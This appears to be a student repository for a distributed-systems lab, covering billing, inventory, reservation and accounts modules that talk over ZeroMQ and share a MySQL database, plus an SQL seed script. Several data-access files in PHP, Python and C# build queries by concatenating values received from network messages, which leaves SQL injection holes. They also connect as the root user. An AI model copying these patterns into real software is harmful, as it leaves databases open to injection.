MySql.Data.MySqlClient; using System.Collections.Generic; using System.Text; namespace Facturacion.AccesoDatos { public class FacturaDA : ConexionToMySQL { public void InsertarFactura (EFactura factura) { using (var conexion = GetConnection()) { conexion.Open(); MySqlCommand cmd = new MySqlCommand("insert into tb_facturas (FK_id_cli, est_fct, tot_fct, mnt_pgd) values (@dni, @estado, 0, 0)", conexion); cmd.Parameters.AddWithValue("@dni", factura.id_cliente); cmd.Parameters.AddWithValue("@estado", factura.estado_fac); cmd.ExecuteNonQuery(); } } public int MaxFactura() { int id_max; using (var conexion = GetConnection()) { conexion.Open(); MySqlCommand cmd = new MySqlCommand("select MAX(id_fct) as max from tb_facturas", conexion); MySqlDataReader lector = cmd.ExecuteReader(); if (lector.Read()) { id_max = Convert.ToInt32(lector["max"]); return id_max; } } return 0; } public double MontobyId(int id) { double monto; using (var conexion = GetConnection()) { conexion.Open(); MySqlCommand cmd = new MySqlCommand("select tot_fct as total from tb_facturas where id_fct = "+id, conexion); MySqlDataReader lector = cmd.ExecuteReader(); if (lector.Read()) { monto = Convert.ToDouble(lector["total"]); return monto; } } return 0; } } } <file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/EProducto.cs using System; using System.Collections.Generic; using System.Text; namespace Facturacion.Entidades { public class EProducto { public int id_prod { get; set; } public string nombre_prod { get; set; } public string desc_prod { get; set; } public string marca_prod { get; set; } public double prec_prod { get; set; } public string und_prod { get; set; } } } <file_sep>/README.md # Middleware Último laboratorio de Sistemas Distribuidos <file_sep>/Code/Inventario-Reserva/Inventario/InventarioConnection.py import mysql.connector from mysql.connector import errorcode # Diccionario con los parámetros de configuración de la BD sd-serv04 config = { 'user': 'root', 'password': '<PASSWORD>', 'host': '172.16.31.10', 'database': 'sd_db', 'raise_on_warnings': True } class Connection: """Para la conexión a la BD""" def __init__(self): super(InventarioConnection, self).__init__() @staticmethod def getConnection(): cnx = mysql.connector.connect(**config) print("> Conexión a la bd: abierta.") return cnx <file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/EOrden.cs using System; using System.Collections.Generic; using System.Text; namespace Facturacion.Entidades { public class EOrden { public int id_factura { get; set; } public int id_producto { get; set; } public int cantidad { get; set; } public double costo { get; set; } } } <file_sep>/Code/Cuentas/main.php <?php include 'Cuentas.php'; function getJsonFromString($jsonString) { print("Getting string... Returning json...\n"); return json_decode($jsonString); } function getStringFromJson($jsonObject) { print("Getting json... Returning string...\n"); return json_encode($jsonObject); } ############################################# ##### ----- Esto se va a ejecutar ----- ##### ############################################# $dirOrdenes = "tcp://*:5051"; $ctxtOrd = new ZMQContext(); $scktOrd = new ZMQSocket($ctxtOrd, ZMQ::SOCKET_REP); $scktOrd->bind($dirOrdenes); echo "*** MÓDULO DE CUENTAS POR COBRAR ***\n"; while (true) { echo "Esperando solicitudes...\n"; $jsonStr = $scktOrd->recv(); /*echo $jsonStr . "\n"; echo gettype($jsonStr) . "\n";*/ $jsonObj = getJsonFromString($jsonStr); $vuelto = Cuentas::pagar($jsonObj); $jsonObj->vuelto = $vuelto; $resp = getStringFromJson($jsonObj); $scktOrd->send($resp); } ?><file_sep>/Code/Facturacion/Servidor/Servidor/Factura.cs using System; using System.Collections.Generic; using System.Text; namespace ServidorCuentas { public class Factura { public int id_producto { get; set; } public int id_cliente { get; set; } public string nombre { get; set; } public int cantidad { get; set; } public int diferencia { get; set; } } public class RootObject { public List<Factura> items { get; set; } } } <file_sep>/Code/Inventario-Reserva/orden.py import zmq import json from Inventario.objeto import Requerimiento, Cuentas, Message, Pedido # req = [] # req.append(Requerimiento("Prod001", 10, "12345678").__dict__) # req.append(Requerimiento("Prod002", 11, "12345678").__dict__) # req.append(Requerimiento("Prod003", 12, "12345678").__dict__) # req.append(Requerimiento("Prod004", 13, "12345678").__dict__) # req.append(Requerimiento("Prod005", 14, "12345678").__dict__) # req.append(Requerimiento("Prod006", 15, "12345678").__dict__) # req.append(Requerimiento("Prod007", 16, "12345678").__dict__) # req.append(Requerimiento("Prod008", 17, "12345678").__dict__) # req.append(Requerimiento("Prod009", 18, "12345678").__dict__) # req.append(Requerimiento("Prod010", 19, "12345678").__dict__) # reqStr = json.dumps(req) # #jsonObj = json.loads(jsonStr) cxc = [] cxc.append(Cuentas("<NAME>", 19).__dict__) cxcStr = json.dumps(cxc) ## Es necesario pasarle una lista de diccionarios al Message ## para que se pueda convertir a json req = [] req.append(Pedido(-1, "platano", -108, 0, 0.0).__dict__) req.append(Pedido(-1, "chirimoya", -108, 0, 0.0).__dict__) req.append(Pedido(-1, "uva", -108, 0, 0.0).__dict__) req.append(Pedido(-1, "manzana", -108, 0, 0.0).__dict__) req.append(Pedido(-1, "pera", -108, 0, 0.0).__dict__) mss = Message("Prueba", "Inventario", "13254768", req, False, 5.0) reqStr = json.dumps(mss.__dict__) print("*** MÓDULO DE PROCESAMIENTO DE ÓRDENES ***\n") dirInventario = "tcp://172.16.17.32:5050" ctxtInv = zmq.Context() # Socket to talk to server print("Connecting to Inventario server…") scktInv = ctxtInv.socket(zmq.REQ) scktInv.connect(dirInventario) # 192.168.127.12 #scktInv.connect("tcp://192.168.127.12:9092") #scktInv.send_json(jsonObj) scktInv.send_string(reqStr) message = scktInv.recv() print(message) print(json.dumps(json.loads(message), indent=4)) # #dirCuentas = "tcp://localhost:5051" # dirCuentas = "tcp://172.16.17.32:5051" # ctxtCnt = zmq.Context() # # Socket to talk to server # print("Connecting to Cuentas server…") # scktCnt = ctxtCnt.socket(zmq.REQ) # scktCnt.connect(dirCuentas) # 192.168.127.12 # #scktCnt.connect("tcp://192.168.127.12:9092") # #scktCnt.send_json(jsonObj) # #scktCnt.send_string(cxcStr) # scktCnt.send_string(reqStr) # message = scktCnt.recv_string() # print(message) # #print(json.dumps(json.loads(message), indent=4)) <file_sep>/Code/ProcesamientoOrdenes/server.js const zmq = require('zeromq'); async function runServer() { const sock = new zmq.Reply(); await sock.bind('tcp://*:5555'); for await (const [msg] of sock) { console.log('Received ' + ': [' + msg.toString() + ']'); await sock.send('World'); // Do some 'work' } } runServer();<file_sep>/Code/Facturacion/Facturacion/Facturacion/Cliente.cs using Facturacion.Entidades; using Facturacion.LogicaNegocio; using NetMQ; using NetMQ.Sockets; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Text; namespace Facturacion { public class Cliente { readonly FacturaLN facturaBL = new FacturaLN(); int id; double monto; public void Enviar() { Console.WriteLine("Conectando con cuentas server…"); id = facturaBL.MaxFactura(); monto = facturaBL.MontobyId(id); var cuenta = new ECuenta { id_factura = id, total = monto }; string json = JsonConvert.SerializeObject(cuenta); using (var requester = new RequestSocket()) { requester.Connect("tcp://localhost:2104"); Console.WriteLine("Conexion realizada"); requester.SendFrame(json); string str = requester.ReceiveFrameString(); Console.WriteLine(str); } } } } <file_sep>/Code/Cuentas/Cuentas.php <?php include 'CuentasConnection.php'; include 'CuentasDA.php'; class Cuentas { public static function getSuficiente($idFct) { try { $cnx = Connection::getConnection(); $deuda = CuentasDA::getDeuda($cnx, $idFct); echo $deuda . "\n"; return $deuda; } catch (Exception $e) { echo "Excepción: ", $e->getMessage(), "\n"; } } /*public static function pagar($reqJson) { try { $cnx = Connection::getConnection(); $objJson = json_decode($reqJson); $idFct = CuentasDA::getIdFacturaPorNombreCliente($cnx, $objJson[0]->nom); $mnt = $objJson[0]->mnt; $vuelto = CuentasDA::agregarPago($cnx, $idFct, $mnt); return $vuelto; } catch (Exception $e) { echo "Excepción: ", $e->getMessage(), "\n"; } }*/ public static function pagar($jsonObj) { try { $cnx = Connection::getConnection(); echo "Cliente: " . $jsonObj->dni . "\n"; $idFct = CuentasDA::getIdFacturaPorIdCliente($cnx, $jsonObj->dni); $mnt = $jsonObj->monto; $vuelto = CuentasDA::agregarPago($cnx, $idFct, $mnt); return $vuelto; } catch (Exception $e) { echo "Excepción: ", $e->getMessage(), "\n"; } } public static function prueba($idFct, $parametro) { try { $cnx = Connection::getConnection(); //CuentasDA::agregarPago($cnx, $idFct, $parametro); CuentasDA::getIdFactura($cnx, $parametro); } catch (Exception $e) { echo "Excepción: ", $e->getMessage(), "\n"; } } } /* ############################################# ##### ----- Esto se va a ejecutar ----- ##### ############################################# $dirOrdenes = "tcp://*:1051"; $ctxtOrd = new ZMQContext(); $scktOrd = new ZMQSocket($ctxtOrd, ZMQ::SOCKET_REP); $scktOrd->bind($dirOrdenes); echo "*** MÓDULO DE CUENTAS POR COBRAR ***\n"; while (true) { echo "Esperando solicitudes...\n"; $jsonStr = $scktOrd->recv(); echo $jsonStr . "\n"; $vuelto = pagar($jsonStr); $scktOrd->send($vuelto); } */ ?><file_sep>/Code/Facturacion/Facturacion/Facturacion/Pruebas _Facturacion.cs using Facturacion.Entidades; using Facturacion.LogicaNegocio; using System; using System.Collections.Generic; using System.Text; namespace Facturacion { public class Pruebas_facturacion { readonly DetalleFacturaLN dfacturaBL = new DetalleFacturaLN(); readonly FacturaLN facturaBL = new FacturaLN(); public void ListarFactura(int dni, int idFac) { List<EDetalleFactura> dfactura = dfacturaBL.Todos(dni, idFac); foreach (var item in dfactura) { Console.WriteLine("----------------------------------------------------"); Console.WriteLine(item.nom_prod + "\t\t" + item.prec_prod + "\t" + item.cantidad + "\t" + item.monto); Console.WriteLine("---------------------------------------------------- \n"); } } public void InsertarFactura() { //facturaBL.InsertarFactura(12345678); Console.WriteLine("Se insertó nueva factura"); } public void MaxFactura() { Console.WriteLine(facturaBL.MaxFactura()); } } } <file_sep>/Code/Facturacion/Facturacion/Facturacion.AccesoDatos/DetalleFacturaDA.cs using Facturacion.Entidades; using MySql.Data.MySqlClient; using System; using System.Collections.Generic; using System.Text; namespace Facturacion.AccesoDatos { public class DetalleFacturaDA : ConexionToMySQL { public List<EDetalleFactura> GetAll(int dni, int idFac) { List<EDetalleFactura> facturas = new List<EDetalleFactura>(); using (var conexion = GetConnection()) { conexion.Open(); MySqlCommand cmd = new MySqlCommand("call sp_detalle_factura_list(@dni, @idFac)", conexion); cmd.Parameters.AddWithValue("@dni", dni); cmd.Parameters.AddWithValue("@idFac", idFac); MySqlDataReader lector = cmd.ExecuteReader(); while (lector.Read()) { EDetalleFactura detalleFactura = new EDetalleFactura { id_fac = Convert.ToInt32(lector["FACTURA"]), id_cli = Convert.ToInt32(lector["DNI"]), cliente = Convert.ToString(lector["CLIENTE"]), nom_prod = Convert.ToString(lector["PRODUCTO"]), prec_prod = Convert.ToDouble(lector["PRECIO"]), cantidad = Convert.ToDouble(lector["CANTIDAD"]), monto = Convert.ToDouble(lector["COSTO"]), total = Convert.ToDouble(lector["TOTAL"]) }; facturas.Add(detalleFactura); } } return facturas; } } } <file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/EFactura_Request.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Facturacion.Entidades { public class EFactura_Request { public string origen { get; set; } public string destino { get; set; } public int dni { get; set; } public double dif { get; set; } public List<EPedido> pedidos {get;set;} public bool reservar { get; set; } } public class EPedido { public int idp { get; set; } public string nombre { get; set; } public int cantidad { get; set; } public double diferencia { get; set; } public double costo { get; set; } } public class ListFactuta { public List<EFactura_Request> items { get; set; } } } <file_sep>/Code/Cuentas/CuentasDA.php <?php class CuentasDA { // Consulta la deuda por pagar de cierta factura en la base de datos // Recibe la conexión con la bd y el ID de la factura en cuestión // Retorna el valor de la deuda public static function getDeuda($conn, $idFact) { $query = "SELECT (tot_fct - mnt_pgd) AS deuda, est_fct FROM tb_facturas WHERE id_fct = " . $idFact; $result = $conn->query($query); $ret = -1; // Si el resultado de la consulta no está vacío if ($result != false) { // Devolver los resultados de la consulta if ($result->num_rows > 0) { echo ">> Filas: " . $result->num_rows . "\n"; // output data of each row while($row = $result->fetch_assoc()) { echo "Deuda: " . $row["deuda"] . " - Estado: " . $row["est_fct"] . "\n"; $ret = (float) $row["deuda"]; echo gettype($ret) . " -> " . $ret . "\n"; } } else { echo ">> Consulta vacía. No hay deuda.\n"; } } else { echo ">> Error de consulta."; } return $ret; } // Para pagar a factura dejando parte de la deuda pendiente // Recibe la conexión, ID de factura y mmonto a pagar // Retorna 1 si todo sale bien y 0 si no. public static function pagarFactura($conn, $idFact, $pago) { $query = "UPDATE tb_facturas SET mnt_pgd = mnt_pgd + " . $pago . " WHERE id_fct = " . $idFact; $result = $conn->query($query); echo "Resultado: " . $result . "\n"; return $result; } // Para pagar a factura totalmente // Recibe la conexión, ID de factura y mmonto a pagar // Retorna 1 si todo sale bien y 0 si no. public static function pagarFacturaTotal($conn, $idFact, $pago) { $query = "UPDATE tb_facturas SET mnt_pgd = mnt_pgd + " . $pago . ", est_fct = 'Cancelado' WHERE id_fct = " . $idFact; $result = $conn->query($query); echo "Resultado: " . $result . "\n"; return $result; } // Este método va a llamar a los anteriores, controla los pagos en base a la deuda y el monto a pagar // Recibe la conexión, ID de factura y mmonto a pagar // Retorna el vuelto de la operación (positivo si sobra, negativo si falta o cero si es exacto) public static function agregarPago($conn, $idFact, $mntPag) { $deuda = self::getDeuda($conn, $idFact); $vuelto = $mntPag - $deuda; if ($vuelto > 0) { // Devolver con nueva deuda self::pagarFacturaTotal($conn, $idFact, $deuda); } else { // Devolver con vuelto self::pagarFactura($conn, $idFact, $mntPag); } // Retorna lo que falta para cancelar la deuda totalmente echo "Vuelto: " . $vuelto . "\n"; return $vuelto; } public static function getIdFacturaPorNombreCliente($conn, $nomCli) { //$query = "SELECT * FROM tb_facturas AS fac INNER JOIN tb_clientes AS cli ON fac.FK_id_cli = cli.id_cli WHERE CONCAT(cli.nom_cli, ' ', cli.app_cli, ' ', cli.apm_cli) = '" . $nomCli . "' AND est_fct != 'Sin cancelar' ORDER BY id_fct DESC LIMIT 1"; $query = "SELECT * FROM tb_facturas AS fac INNER JOIN tb_clientes AS cli ON fac.FK_id_cli = cli.id_cli WHERE CONCAT(cli.nom_cli, ' ', cli.app_cli, ' ', cli.apm_cli) = '" . $nomCli . "' AND est_fct = 'Sin cancelar'"; $result = $conn->query($query); $ret = -1; // Si el resultado de la consulta no está vacío if ($result != false) { // Devolver los resultados de la consulta if ($result->num_rows > 0) { echo ">> Filas: " . $result->num_rows . "\n"; // output data of each row while($row = $result->fetch_assoc()) { $cliente = $row["nom_cli"] . " " . $row["app_cli"] . " " . $row["apm_cli"]; echo "Cliente: " . $cliente . " - ID: " . $row["id_cli"] . "\n"; $ret = (int) $row["id_fct"]; } } else { echo ">> El cliente no tiene facturas pendientes. Revise ortografía.\n"; } } else { echo ">> Error de consulta.\n"; } return $ret; } public static function getIdFacturaPorIdCliente($conn, $idCli) { //$query = "SELECT * FROM tb_facturas AS fac INNER JOIN tb_clientes AS cli ON fac.FK_id_cli = cli.id_cli WHERE CONCAT(cli.nom_cli, ' ', cli.app_cli, ' ', cli.apm_cli) = '" . $nomCli . "' AND est_fct != 'Sin cancelar' ORDER BY id_fct DESC LIMIT 1"; $query = "SELECT * FROM tb_facturas AS fac INNER JOIN tb_clientes AS cli ON fac.FK_id_cli = cli.id_cli WHERE id_cli = '" . $idCli . "' AND est_fct = 'Sin cancelar'"; $result = $conn->query($query); $ret = -1; // Si el resultado de la consulta no está vacío if ($result != false) { // Devolver los resultados de la consulta if ($result->num_rows > 0) { echo ">> Filas: " . $result->num_rows . "\n"; // output data of each row while($row = $result->fetch_assoc()) { $cliente = $row["nom_cli"] . " " . $row["app_cli"] . " " . $row["apm_cli"]; echo "Cliente: " . $cliente . " - ID: " . $row["id_cli"] . "\n"; $ret = (int) $row["id_fct"]; } } else { echo ">> El cliente no tiene facturas pendientes. Revise ortografía.\n"; } } else { echo ">> Error de consulta.\n"; } return $ret; } } ?><file_sep>/Code/Inventario-Reserva/Inventario/InventarioDA.py import mysql.connector from mysql.connector import errorcode from objeto import Mensaje, Message, Pedido class InventarioDA: def __init__(self): super(InventarioDA, self).__init__() ## Para devolver la lista de objetos Comunicado correspondientes de una ## conn (conexión a base de datos) y un ## reqJson (lista de jsons) @staticmethod def getComunicados(conn, reqJson): cursor = conn.cursor() # Declaro la lista donde guardaré los objetos Suficiente lstCom = [] for json in reqJson: # Armo la consulta a ejecutar query = ("SELECT FK_id_prd, stock, p.prc_prd FROM tb_stock AS s JOIN tb_productos AS p ON p.id_prd = s.FK_id_prd WHERE p.nom_prd = '%s'" % json["nombre"]) # Ejecuto la consulta cursor.execute(query) # Recorro la consulta para recuperar los valores devueltos for x in cursor.fetchall(): id_prd = x[0] stock = x[1] prc_prd = x[2] # Armo el objeto Suficiente con los datos devueltos pos la consulta objCom = Mensaje(id_prd, json["nombre"], json["cantidad"], (stock - json["cantidad"]), (prc_prd * json["cantidad"]), json["dni"]) print("Stock: " + str(stock)+ " --> Cantidad: " + str(json["cantidad"]) + " --> DNI: " + str(json["dni"])) # Esto imprime si el stock alcanza para satisfacer el pedido if(objCom.dif < 0): print("Suficiente: no") else: print("Suficiente: sí") # Agrego el objeto Suficiente a la lista que devolveré al final lstCom.append(objCom.__dict__) # Cierra el cursor cursor.close() # Devuelve la lista de Comunicados return lstCom ## Fin getComunicados() @staticmethod def getMensaje(conn, reqJson): cursor = conn.cursor() # Declaro la lista donde guardaré los objetos Suficiente lstPed = [] reservar = True for json in reqJson["pedidos"]: query = ("SELECT FK_id_prd, stock, p.prc_prd FROM tb_stock AS s JOIN tb_productos AS p ON p.id_prd = s.FK_id_prd WHERE p.nom_prd = '%s'" % json["nombre"]) cursor.execute(query) for x in cursor.fetchall(): id_prd = x[0] stock = x[1] prc_prd = x[2] objPed = Pedido(id_prd, json["nombre"], json["cantidad"], (stock - json["cantidad"]), (prc_prd * json["cantidad"])) print("Stock: " + str(stock)+ " --> Cantidad: " + str(json["cantidad"]) + " --> DNI: " + str(reqJson["dni"])) # Esto imprime si el stock alcanza para satisfacer el pedido if(objPed.diferencia < 0): print("Suficiente: no") reservar = False else: print("Suficiente: sí") lstPed.append(objPed.__dict__) # Cierra el cursor cursor.close() reqJson["pedidos"] = lstPed reqJson["reservar"] = reservar # Devuelve la lista de Comunicados return reqJson ## Fin getMensaje()<file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/EDetalleFactura.cs using System; using System.Collections.Generic; using System.Text; namespace Facturacion.Entidades { public class EDetalleFactura { public int id_fac { get; set; } public int id_cli { get; set; } public string cliente { get; set; } public string nom_prod { get; set; } public double prec_prod { get; set; } public double cantidad { get; set; } public double monto { get; set; } public double total { get; set; } public double abonado { get; set; } public double cuenta { get; set; } } } <file_sep>/Code/Inventario-Reserva/Inventario/Inventario.py import mysql.connector from mysql.connector import errorcode import zmq import json from InventarioConnection import Connection from InventarioDA import InventarioDA class Inventario: def __init__(self): super(Inventario, self).__init__() ## Método que recibe un objeto json con el requerimiento ## {nombre, cantidad} ## Retorna una lista de diccionarios json @staticmethod def getSuficiente(reqJson): try: cnx = Connection.getConnection() #lstCom = InventarioDA.getComunicados(cnx, reqJson) lstCom = InventarioDA.getMensaje(cnx, reqJson) return lstCom except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: print("Something is wrong with your user name or password") elif err.errno == errorcode.ER_BAD_DB_ERROR: print("Database does not exist") else: print(err) else: # Cierra la conexion cnx.close() print("> Conexión a la bd: cerrada.") ## Fin de getSuficiente() ## Método que recibe un objeto json con el requerimiento ## {nombre, cantidad} ## Retorna una lista de diccionarios json @staticmethod def getConsulta(reqJson): try: cnx = Connection.getConnection() lstCom = InventarioDA.getMensaje(cnx, reqJson) return lstCom except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: print("Something is wrong with your user name or password") elif err.errno == errorcode.ER_BAD_DB_ERROR: print("Database does not exist") else: print(err) else: # Cierra la conexion cnx.close() print("> Conexión a la bd: cerrada.") ## Fin de getSuficiente() ## Recibe un json (diccionario) ## Y decide si se reserva el bloque o no @staticmethod def getReservar(lstDicc): reservar = True for dicc in lstDicc: reservar = reservar and (dicc["dif"] >= 0) print("\n> Se reserva: " + str(reservar) + "\n") return reservar ## Fin de getReservar() ## Recibe el json (diccionario) ## Recibe la dirección y puerto "localhost:port" ## Y envía el json a la dirección @staticmethod def sendJson(resJson, dirPort): print("\n> Enviando a " + resJson["destino"]) # Convierto el json en cadena resp = json.dumps(resJson) # Aquí reservo ps, papi ctxtRes = zmq.Context() scktRes = ctxtRes.socket(zmq.REQ) scktRes.connect(dirPort) # Se envía a Reserva scktRes.send_string(resp) # Se recibe el poderoso mensaje msj = scktRes.recv() print(msj) return msj ## Fin de sendReserva() ## Fin de la clase Inventario <file_sep>/Code/Cuentas/objeto.php <?php class Comunicado { private $idp; private $nom; private $cnt; private $dif; private $cst; private $dni; public function __construct($idp, $nom, $cnt, $dif, $cst, $dni) { $this->idp = $idp; $this->nom = $nom; $this->cnt = $cnt; $this->dif = $dif; $this->cst = $cst; $this->dni = $dni; echo "Constructed: " . $nom . "\n"; } } class Objeto { public $name; public $lname; public $dni; public function __construct($name, $lname, $dni) { $this->name = $name; $this->lname = $lname; $this->dni = $dni; echo "Constructed: " . $name . "\n"; } } ?><file_sep>/Code/Inventario-Reserva/Reserva/Reserva.py import mysql.connector from mysql.connector import errorcode import zmq import json from ReservaConnection import Connection from ReservaDA import ReservaDA class Reserva: def __init__(self): super(Reserva, self).__init__() # Metodo que recibe un objeto json con el requerimiento # nombre y cantidad def reservarPedido(reqJson): try: # Conecta con la BD usando la configuración del diccionario config cnx = Connection.getConnection() #ReservaDA.setReserva(cnx, reqJson) ReservaDA.doReserva(cnx, reqJson) # Devuelve True si todo sale bien return True except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: print("Something is wrong with your user name or password") elif err.errno == errorcode.ER_BAD_DB_ERROR: print("Database does not exist") else: print(err) # Devuelve False si hay error return False else: # Cierra la conexion cnx.close() print("... Conexión cerrada.") <file_sep>/Code/Inventario-Reserva/Reserva/ReservaDA.py import mysql.connector from mysql.connector import errorcode class ReservaDA: def __init__(self): super(ReservaDA, self).__init__() @staticmethod def setReserva(conn, reqJson): # Crea un cursor para actualizar la tabla stock y un string con la consulta a ejecutar cursor = conn.cursor() for json in reqJson: # Armo la consulta query = ("UPDATE tb_stock SET stock = stock - %d WHERE FK_id_prd = %d" % (json["cnt"], json["idp"])) # Ejecuto la consulta armada cursor.execute(query) # Para cometer los cambios conn.commit() # Cierra el cursor cursor.close() @staticmethod def doReserva(conn, reqJson): # Crea un cursor para actualizar la tabla stock y un string con la consulta a ejecutar cursor = conn.cursor() for json in reqJson["pedidos"]: # Armo la consulta query = ("UPDATE tb_stock SET stock = stock - %d WHERE FK_id_prd = %d" % (json["cantidad"], json["idp"])) # Ejecuto la consulta armada cursor.execute(query) # Para cometer los cambios conn.commit() # Cierra el cursor cursor.close()<file_sep>/Code/Facturacion/Facturacion/Facturacion.AccesoDatos/ConexionToMySQL.cs.bak using MySql.Data.MySqlClient; using System; namespace Facturacion.AccesoDatos { public abstract class ConexionToMySQL { private readonly string mysql_conexion; //Crearemos la cadena de conexión concatenando las variables public ConexionToMySQL() { mysql_conexion = "Database= sd_db; Data Source=localhost; User Id=sdlocal; Password=<PASSWORD>"; } protected MySqlConnection GetConnection() { return new MySqlConnection(mysql_conexion); } } }<file_sep>/Docs/sd_db_ins.sql DELIMITER // CREATE TRIGGER tg_calc_precio BEFORE INSERT ON tb_ordenes FOR EACH ROW BEGIN DECLARE punit FLOAT; DECLARE ctot FLOAT; SET punit := (SELECT prc_prd FROM tb_productos WHERE id_prd = NEW.FK_id_prd); SET ctot := punit * NEW.cant; SET NEW.cost = ctot; END; // DELIMITER // CREATE TRIGGER tg_calc_factura AFTER INSERT ON tb_ordenes FOR EACH ROW BEGIN UPDATE tb_facturas SET tot_fct = tot_fct + NEW.cost WHERE id_fct = NEW.FK_id_fct; END; // DROP procedure IF EXISTS sp_detalle_factura_list; DELIMITER $$ create procedure sp_detalle_factura_list(p_dni int, p_fac int) begin select f.id_fct as FACTURA, c.id_cli as DNI, concat(c.nom_cli, ' ', c.app_cli, ' ', c.apm_cli) as CLIENTE, p.nom_prd as PRODUCTO, p.prc_prd as PRECIO, o.cant as CANTIDAD, o.cost as COSTO, f.tot_fct as TOTAL from tb_facturas f inner join tb_clientes c on f.fk_id_cli = c.id_cli inner join tb_ordenes o on f.id_fct = o.fk_id_fct inner join tb_productos p on o.fk_id_prd = p.id_prd where c.id_cli = p_dni and f.id_fct = p_fac; end$$ DELIMITER ; INSERT INTO tb_productos (nom_prd, dsc_prd, mrc_prd, prc_prd, und_prd) VALUES ('Prod001', 'Primer producto', 'Marca01', 20.0, 'und'), ('Prod002', 'Segundo producto', 'Marca01', 20.0, 'und'), ('Prod003', 'Tercer producto', 'Marca01', 50.0, 'und'), ('Prod004', 'Cuarto producto', 'Marca02', 15.5, 'kg'), ('Prod005', 'Quinto producto', 'Marca03', 17.0, 'L'), ('Prod006', 'Sexto producto', 'Marca03', 29.9, 'kg'), ('Prod007', 'Setimo producto', 'Marca03', 40.0, 'und'), ('Prod008', 'Octavo producto', 'Marca03', 20.0, 'kg'), ('Prod009', 'Noveno producto', 'Marca04', 20.0, 'L'), ('Prod010', 'Decimo producto', 'Marca04', 17.5, 'kg'); INSERT INTO tb_productos (nom_prd, dsc_prd, mrc_prd, prc_prd, und_prd) VALUES ('platano', 'Platano', '-', 2.0, 'kg'), ('chirimoya', 'Chirimoya', '-', 3.5, 'kg'), ('uva', 'Uva', '-', 1.5, 'kg'), ('manzana', 'Manzana', '-', 1.5, 'kg'), ('mango', 'Mango', '-', 3.5, 'kg'), ('pera', 'Pera', '-', 1.5, 'kg'); INSERT INTO tb_clientes (id_cli, nom_cli, app_cli, apm_cli) VALUES (12345678, 'Yordi', 'Caushi', 'Cueva'), (13254768, 'Rolando', 'Ramos', 'Vargas'), (21436587, 'Joel', 'Trujillo', 'Cruz'), (13245768, 'Miguel', 'Velasquez', 'Yzquierdo'); INSERT INTO tb_clientes (id_cli, nom_cli, app_cli, apm_cli) VALUES (12457823, 'Martin', 'Ochoa', 'Cueva'), (23568945, 'Javier', 'Lozada', 'Ordonez'), (14253685, 'Chupetín', 'Trujillo', ' '), (14853652, 'Susana', 'Diaz', ' '), (95482615, 'Kimberly', 'Loayza', 'Cabello'), (62518475, 'Raul', '<NAME>', 'Soto'), (23654815, 'Raquel', 'Torres', 'Blanco'), (95846231, 'Irma', 'Diaz', 'Diaz'); INSERT INTO tb_stock (FK_id_prd, stock) VALUES (1, 15), (2, 15), (3, 15), (4, 15), (5, 15), (6, 15), (7, 15), (8, 15), (9, 15), (10, 15); INSERT INTO tb_stock (FK_id_prd, stock) VALUES (11, 30), (12, 30), (13, 30), (14, 30), (15, 30), (16, 30); INSERT INTO tb_facturas (FK_id_cli, tot_fct, est_fct, mnt_pgd) VALUES (12345678, 0.0, 'Sin cancelar', 0.0), (13254768, 0.0, 'Sin cancelar', 0.0), (12345678, 0.0, 'Sin cancelar', 0.0), (13254768, 0.0, 'Sin cancelar', 0.0); INSERT INTO tb_ordenes (FK_id_fct, FK_id_prd, cant, cost) VALUES (1, 1, 2.0, 0.0), (1, 2, 1.0, 0.0), (1, 3, 1.0, 0.0), (1, 4, 20.0, 0.0), (3, 1, 2.0, 0.0), (2, 2, 1.0, 0.0), (3, 3, 1.0, 0.0), (3, 4, 20.0, 0.0); /* SELECT * FROM tb_productos; SELECT * FROM tb_clientes; SELECT * FROM tb_facturas; SELECT * FROM tb_ordenes; SELECT * FROM tb_stock; SELECT ord.FK_id_fct, prd.prc_prd, ord.cant, ord.cost FROM tb_ordenes AS ord INNER JOIN tb_productos AS prd ON ord.FK_id_prd = prd.id_prd; DROP TRIGGER tg_calc_precio; DROP TRIGGER tg_calc_factura; SELECT stock FROM tb_stock AS s JOIN tb_productos AS p ON p.id_prd = s.FK_id_prd WHERE p.nom_prd = 'Prod001'; SELECT stock FROM tb_stock AS s JOIN tb_productos AS p ON p.id_prd = s.FK_id_prd WHERE p.nom_prd = 'Prod001' UPDATE tb_stock SET stock = stock - 12 WHERE FK_id_prd = 1;*/<file_sep>/Code/Facturacion/Facturacion/Facturacion/Program.cs //using Echovoice.JSON; using Facturacion.Entidades; using Facturacion.LogicaNegocio; using NetMQ; using NetMQ.Sockets; using Newtonsoft.Json; using System; using System.Collections.Generic; namespace Facturacion { static class Program { static readonly Servidor server = new Servidor(); static void Main(string[] args) { Console.WriteLine("*** MODULO DE FACTURACION ***"); server.Recibir(); } } }<file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/EFactura.cs using System; namespace Facturacion.Entidades { public class EFactura { public int id_fac { get; set; } public int id_cliente { get; set; } public double total_fac { get; set; } public double monto_pag { get; set; } public string estado_fac { get; set; } } } <file_sep>/Code/Cuentas/CuentasConnection.php <?php class Connection { const SERVER_NAME = "172.16.31.10"; const USER_NAME = "root"; const PASSWORD = "<PASSWORD>"; const DATABASE = "sd_db"; public static function getConnection() { $cnx = new mysqli(self::SERVER_NAME, self::USER_NAME, self::PASSWORD, self::DATABASE); echo "> Conexion a la bd: abierta.\n"; return $cnx; } } ?><file_sep>/Code/Facturacion/Facturacion/Facturacion.LogicaNegocio/DetalleFacturaLN.cs using Facturacion.AccesoDatos; using Facturacion.Entidades; using System; using System.Collections.Generic; using System.Text; namespace Facturacion.LogicaNegocio { public class DetalleFacturaLN { DetalleFacturaDA detalleDA = new DetalleFacturaDA(); public List<EDetalleFactura> Todos(int dni, int idFac) { return detalleDA.GetAll(dni, idFac); } } } <file_sep>/Code/Inventario-Reserva/Inventario/objeto.py # Para empacar lo que llega del módulo de Operaciones # tiene nombre de producto # y cantidad que se desea reservar class Requerimiento: def __init__(self, nombre = "", cantidad = 0, dni = ""): self.nombre = nombre self.cantidad = cantidad self.dni = dni # 